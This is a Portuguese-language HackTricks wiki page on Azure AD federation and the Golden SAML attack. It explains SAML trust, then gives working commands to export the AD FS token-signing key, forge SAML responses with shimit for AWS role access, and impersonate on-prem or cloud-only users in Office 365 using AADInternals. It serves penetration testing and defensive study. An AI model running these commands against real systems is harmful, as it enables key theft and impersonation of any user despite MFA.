Português - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

A partir da documentação:Federação é um conjunto de domínios que estabeleceram confiança. O nível de confiança pode variar, mas geralmente inclui autenticação e quase sempre inclui autorização. Uma federação típica pode incluir um número de organizações que estabeleceram confiança para acesso compartilhado a um conjunto de recursos.

Você pode federar seu ambiente local com o Azure AD e usar essa federação para autenticação e autorização. Este método de login garante que toda a autenticação do usuário ocorra no local. Esse método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com AD FS e PingFederate está disponível.

Basicamente, na Federação, toda a autenticação ocorre no ambiente local e o usuário experimenta o SSO em todos os ambientes confiáveis. Portanto, os usuários podem acessar aplicativos em nuvem usando suas credenciais locais.

O Security Assertion Markup Language (SAML) é usado para trocar todas as informações de autenticação e autorização entre os provedores.

Em qualquer configuração de federação, existem três partes:

  • Usuário ou Cliente

  • Provedor de Identidade (IdP)

  • Provedor de Serviços (SP)

(Imagens de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Inicialmente, um aplicativo (Provedor de Serviços ou SP, como console AWS ou cliente da web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.

  2. Posteriormente, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Em seguida, ele cria uma solicitação de autenticação SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido.

  3. O IdP assume, autenticando o usuário. Após a autenticação, um SAMLResponse é formulado pelo IdP e encaminhado para o SP através do usuário.

  4. Por fim, o SP avalia o SAMLResponse. Se validado com sucesso, implicando um relacionamento de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço.

Se você deseja aprender mais sobre autenticação SAML e ataques comuns, acesse:

Pivoteamento

  • AD FS é um modelo de identidade baseado em reivindicações.

  • "..reivindicações são simplesmente declarações (por exemplo, nome, identidade, grupo) feitas sobre usuários, que são usadas principalmente para autorizar o acesso a aplicativos baseados em reivindicações localizados em qualquer lugar na Internet."

  • As reivindicações de um usuário são escritas dentro dos tokens SAML e depois assinadas para fornecer confidencialidade pelo IdP.

  • Um usuário é identificado por ImmutableID. É globalmente único e armazenado no Azure AD.

  • O ImmutableID é armazenado no local como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário.

  • Mais informações em https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Ataque Golden SAML:

Golden SAML

O processo em que um Provedor de Identidade (IdP) produz um SAMLResponse para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a resposta pode ser assinada ou criptografada usando a chave privada do IdP. Esse procedimento permite que o Provedor de Serviços (SP) confirme a autenticidade do SAMLResponse, garantindo que tenha sido emitido por um IdP confiável.

Uma analogia pode ser feita com o ataque de golden ticket, onde a chave que autentica a identidade e permissões do usuário (KRBTGT para golden tickets, chave privada de assinatura de token para golden SAML) pode ser manipulada para forjar um objeto de autenticação (TGT ou SAMLResponse). Isso permite a impersonificação de qualquer usuário, concedendo acesso não autorizado ao SP.

Os Golden SAMLs oferecem certas vantagens:

  • Eles podem ser criados remotamente, sem a necessidade de fazer parte do domínio ou federação em questão.

  • Eles permanecem eficazes mesmo com a Autenticação de Dois Fatores (2FA) ativada.

  • A chave privada de assinatura de token não é renovada automaticamente.

  • Alterar a senha de um usuário não invalida um SAML já gerado.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) é um serviço da Microsoft que facilita a troca segura de informações de identidade entre parceiros comerciais confiáveis (federação). Basicamente, permite que um serviço de domínio compartilhe identidades de usuário com outros provedores de serviços dentro de uma federação.

Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente adquirir permissões em qualquer ambiente AWS. O ataque exige a chave privada usada para assinar os objetos SAML, semelhante à necessidade do KRBTGT em um ataque de golden ticket. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada.

Os requisitos para executar um ataque golden SAML incluem:

  • Chave privada de assinatura de token

  • Certificado público do IdP

  • Nome do IdP

  • Nome da função (função a assumir)

  • Domínio\nome de usuário

  • Nome da sessão de função na AWS

  • ID da conta da Amazon

Apenas os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado.

Para adquirir a chave privada, é necessário acessar a conta de usuário do AD FS. A partir daí, a chave privada pode ser exportada do repositório pessoal usando ferramentas como mimikatz. Para reunir as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que esteja logado como o usuário do ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Com todas as informações, é possível esquecer um SAMLResponse válido como o usuário que você deseja se passar usando shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> nuvem

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Também é possível criar o ImmutableID de usuários exclusivos da nuvem e se passar por eles

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

AnteriorAz - Cloud Kerberos TrustSiguienteAz - PHS - Password Hash Sync

Última actualización